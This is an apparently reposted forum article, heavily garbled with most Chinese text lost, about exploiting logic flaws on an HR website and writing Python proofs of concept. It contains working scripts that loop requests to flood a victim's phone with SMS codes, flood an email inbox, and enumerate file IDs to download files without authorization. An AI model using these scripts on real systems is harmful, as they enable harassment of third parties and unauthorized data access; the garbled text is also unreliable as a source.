[14158] 2019-05-27_某HR业务网站逻辑漏洞挖掘案例以及POC编写思路分享

文档创建者:s7ckTeam
浏览次数:9
最后更新:2025-01-18
2019-05-27_某HR业务网站逻辑漏洞挖掘案例以及POC编写思路分享 H R P O C   F r e e B u f   2 0 1 9 - 0 5 - 2 7 B u f f e r " " 使 使 P y t h o n 3 P O C w i n w a y H R 使 P y t h o n 3 P O C ( ) F r e e b u f B u r p S u i t e F r e e   ( J a v a ) ( 3 6 0 / C h r o m e ) S w i t c h y O m e g a ( ) P y t h o n 3 ( P O C ) h t t p s : / / w w w h d d d d d d d d d c o m / ( ) I P 4 7 . * . . * * | T o m c a t L i n u x W e b B o o t s t r a p 访 ( ) ( 1 ) 访 H R ( ) ( 2 ) 便 1 1 F 1 2 " N e t w o r k " R e s p o n s e 6
( 3 ) 6 ( 4 ) ( 1 ) B u r p S u i t e F r e e ( 2 )
( 3 ) C t r l + R R e p e a t e r ( 4 ) G o 6 ( 5 ) G o
6 P y t h o n " P O C " P O C R e q u e s t s P O C P O C P O C P O C #   - -   c o d i n g :   u t f - 8   - - i m p o r t   r e q u e s t s s e s s i o n   =   r e q u e s t s . s e s s i o n ( ) h e a d e r s   =   { ' R e f e r e r ' : " h t t p s : / / w w w . * * * * * * * * * * . c o m / * * * * * / r e g " ,                       ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 3 . 0 . 3 2 3 9 . 1 3 2   S a f a r i / 5 3 7 . 3 6 ' } n = 0 u r l = ( " h t t p s : / / w w w . * * * * * * * * * . c o m / r * * * / g e t M o b i l e C o d e " ) d e f   S m s B o o m ( p h p n u m b e r , u r l ) :         d a t a   =   { ' m o b i l e ' :   p h p n u m b e r , }         r o n   =   s e s s i o n . p o s t ( u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a ) p h p n u m b e r   =   i n p u t ( " : " ) A c k N u m b e r   =   i n t ( i n p u t ( " : " ) ) w h i l e   T r u e :         S m s B o o m ( p h p n u m b e r , u r l )         n   + =   1         p r i n t ( " [ + ] { } " . f o r m a t ( n ) )         i f   n   = =   A c k N u m b e r :                 p r i n t ( ' ' )                 b r e a k S m s B o o m ( p h p n u m b e r , u r l )
2 0 ( ) ( 1 ) ( 2 ) B u r p
( 3 ) C t r l + R R e p e a t e r , " G o " P y C h a r m P O C P O C i m p o r t   r e q u e s t s s e s s i o n   =   r e q u e s t s . s e s s i o n ( ) h e a d e r s   =   { ' R e f e r e r ' : " h t t p s : / / w w w . * * * * * * * * * * . c o m / l o g i n " , ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 3 . 0 . 3 2 3 9 . 1 3 2   S a f a r i / 5 3 7 . 3 6 ' n = 0 d e f   E m a i l B o o m ( E m a i l ) :         u r l   =   ' h t t p s : / / w w w . * * * * * * * * * * * . c o m / * * * * * * * * * * / u s e r / * * * * * * * * E m a i l '         d a t a   =   { ' v a l i d C o d e T y p e ' : 2 ,                         ' e m a i l ' : E m a i l ,                         ' S I T E . b a s e p a t h ' : ' h t t p s : / / w w w . * * * * * * * * * * . c o m : 4 4 3 / ' }         r o n   =   s e s s i o n . p o s t ( u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a )         p r i n t ( r o n . t e x t ) E m a i l   =   i n p u t ( " : " ) A c k N u m b e r   =   i n t ( i n p u t ( " : " ) )
P O C P O C Q Q Q Q 访 访 ( ) ( 1 ) / r e g / r e g 便 A c k N u m b e r   =   i n t ( i n p u t ( " : " ) ) w h i l e   T r u e :         E m a i l B o o m ( E m a i l )         n   + =   1         p r i n t ( " { } " . f o r m a t ( n ) )         i f   n   = =   A c k N u m b e r :                 p r i n t ( ' ' )                 b r e a k p y t h o n   E m a i l _ B o o m . p y
( 2 ) F 1 2 a " j a v a s c r i p t : v o i d ( 0 ) ; " ( 3 ) C t r l + J
( 4 ) W i n d o w s . p n g d o w n ? f i l e i d = 7 6 5 9 5 f i l e i d ( 6 ) 访 I D ( 7 ) P y C h a r m P O C P O C w h i l e x + = 1 d o w n ? f i l e i d = * * * * 使 P y t h o n r e q u e s t s G e t p a s s , t x t I D M
访 P O C P O C P O C I D . t x t C t r l + A I D M #   - -   c o d i n g :   u t f - 8   - - i m p o r t   r e q u e s t s i m p o r t   o s h e a d e r s   =   { ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 3 . 0 . 3 2 3 9 . 1 3 2   S a f a r i / 5 3 7 . 3 6 ' } u r l   =   ( " h t t p s : / / w w w . * * * * * * * * * * * * . c o m / c o n f i g / * * * * * * * * * * * / d o w n ? f i l e i d = " ) N u m b e r =   i n t ( i n p u t ( " [ + ] I D " ) ) p r i n t ( ' = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ' ) w h i l e   T r u e :         f   =   o p e n ( ' I D . t x t ' ,   ' a + ' )     #           N u m b e r   + =   1         r e q u r l =   ( u r l + " { } " . f o r m a t ( s t r ( N u m b e r ) ) )         r e s p o n s e   =   r e q u e s t s . g e t ( u r l = r e q u r l , h e a d e r s = h e a d e r s )         i f   r e s p o n s e . t e x t   = =   s t r ( " " ) :                 p r i n t ( " [ + ] : " + r e q u r l + "                   " )                 p a s s         e l s e :                 f . w r i t e ( " : " + r e q u r l + " n " )                 p r i n t ( " [ + ] : " + r e q u r l + "                           " , + r e s p o n s e . s t a t u s _ c o d e , )                 f . c l o s e ( ) p y t h o n   O v e r r i d e _ a c c e s s _ P O C . p y
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则